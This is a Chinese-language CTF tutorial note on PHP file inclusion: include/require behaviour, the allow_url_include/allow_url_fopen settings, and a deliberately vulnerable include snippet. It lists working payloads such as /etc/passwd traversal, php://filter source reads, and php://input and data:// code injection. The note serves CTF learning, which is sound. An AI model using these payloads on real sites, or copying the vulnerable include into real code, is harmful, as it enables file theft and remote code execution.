文件包含

文件包含 #

几平所有的编程语言都会提供文件包含功能,目的是将可重复使用的代码写到单个文件中,通过包含文件复用之前的代码逻辑,如C语言的#include

ctf web题目中,如果涉及考查文件包含知识点,则对应web大概率是由php编写,通过文件包含主要的目的有以下2点

  • 最终步骤:包含flag文件,获取flag
  • 中间步骤:包含xxx.php,搭配文件上传触发脚本执行;或者获取对应代码,进行代码审计(主要情形

当获取不到代码的时候,且页面有明显文件包含功能时,可以使用?page=../../../../../etc/passwd,基于网页回显判断是否存在文件包含漏洞

关键函数 #

php中的文件包含涉及到以下函数,先理解以下函数的作用

  • include/include_once/require/require_once,由 allow_url_include = on/off 决定是否可以访问各种类型的数据流(built-in wrappers for various URL-style protocols),即使用伪协议
  • file_get_contents/fopen等filesystem相关函数,由 allow_url_fopen = on/off 决定是否可以访问各种类型的数据流(built-in wrappers for various URL-style protocols),即使用伪协议

一些说明:

  • allow_url_include = on设置生效,需要allow_url_fopen设置为on
  • allow_url_fopen默认onallow_url_include默认off
  • allow_url_includePHP 7.4.0版本已经不支持,只在PHP 7.3和版本中设置生效

include/include_require #

include 用于在 PHP 脚本中包含并执行另一个文件,包含的文件会被当成php代码执行,如果包含的文件不存在或者因某些原因无法加载,include 将发出一个警告(E_WARNING),但脚本将继续执行。适合于那些非关键的文件包含,比如界面元素或者某些可选的功能组件。

include_once 功能类似于 include,也是用于包含并执行文件。不同之处在于它会首先检查该文件是否已经被包含过,如果是,则不会再次包含

代码段如下

<?php
    $file = $_GET['page'];
    include $file;
?>

require/require_once #

require 与 include 类似,但其差异在于错误处理。如果 require 的文件不存在或无法加载,PHP 将发出致命错误(E_COMPILE_ERROR),并停止脚本执行。适用于那些对脚本运行至关重要的文件,如配置文件或核心库文件。

require_once 功能类似于 require,也是用于包含并执行文件。不同之处在于它会首先检查该文件是否已经被包含过,如果是,则不会再次包含

file_get_contents/fopen #

file_get_contents()用于一次性将整个文件的内容读取到一个字符串中,本身不会将对应内容作为PHP 代码执行,这点与include不同。

<?php
$content = file_get_contents('filename.txt');
echo $content;
?>

关于是否将结果返回给浏览器,这取决于你对这个字符串如何处理,如显式使用 echo、print 或其他输出语句

fopen() 函数提供了更多的灵活性,它用于打开文件或 URL,返回一个文件指针,之后可以使用其他函数(如 fgets(), fread(), 和 fwrite())来读取或写入文件。参考代码略。

伪协议 #

php提供了各种伪协议,built-in wrappers for various URL-style protocols,具体查询链接中的信息每个伪协议是否受allow_url_fopen/allow_url_include限制

ctf常考的伪协议用法如下:

?page=file:///etc/passwd

?page=php://filter/string.toupper/resource=flag.php
?page=php://filter/convert.base64-encode/resource=flag.php # 用于读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了
?page=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php 
# convert.iconv.<input-encoding>.<output-encoding>,支持的编码参看,https://www.php.net/manual/en/mbstring.supported-encodings.php

?page=php://input
【POST Data】: <?php phpinfo(); ?>  # 当 enctype="multipart/form-data" 时,php://input 是无效的

?page=data://text/plain,<?php phpinfo()?>
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

?page=zip://./file.jpg%23phpcode.txt 
# 先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip;如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后再上传
?page=compress.bzip2://./file.jpg # compress.bzip2 php特有流封装器在PHP中用于bzip2压缩单个文件
?page=compress.zlib://./file.jpg # 同上

绕过 #

TODO

题目 #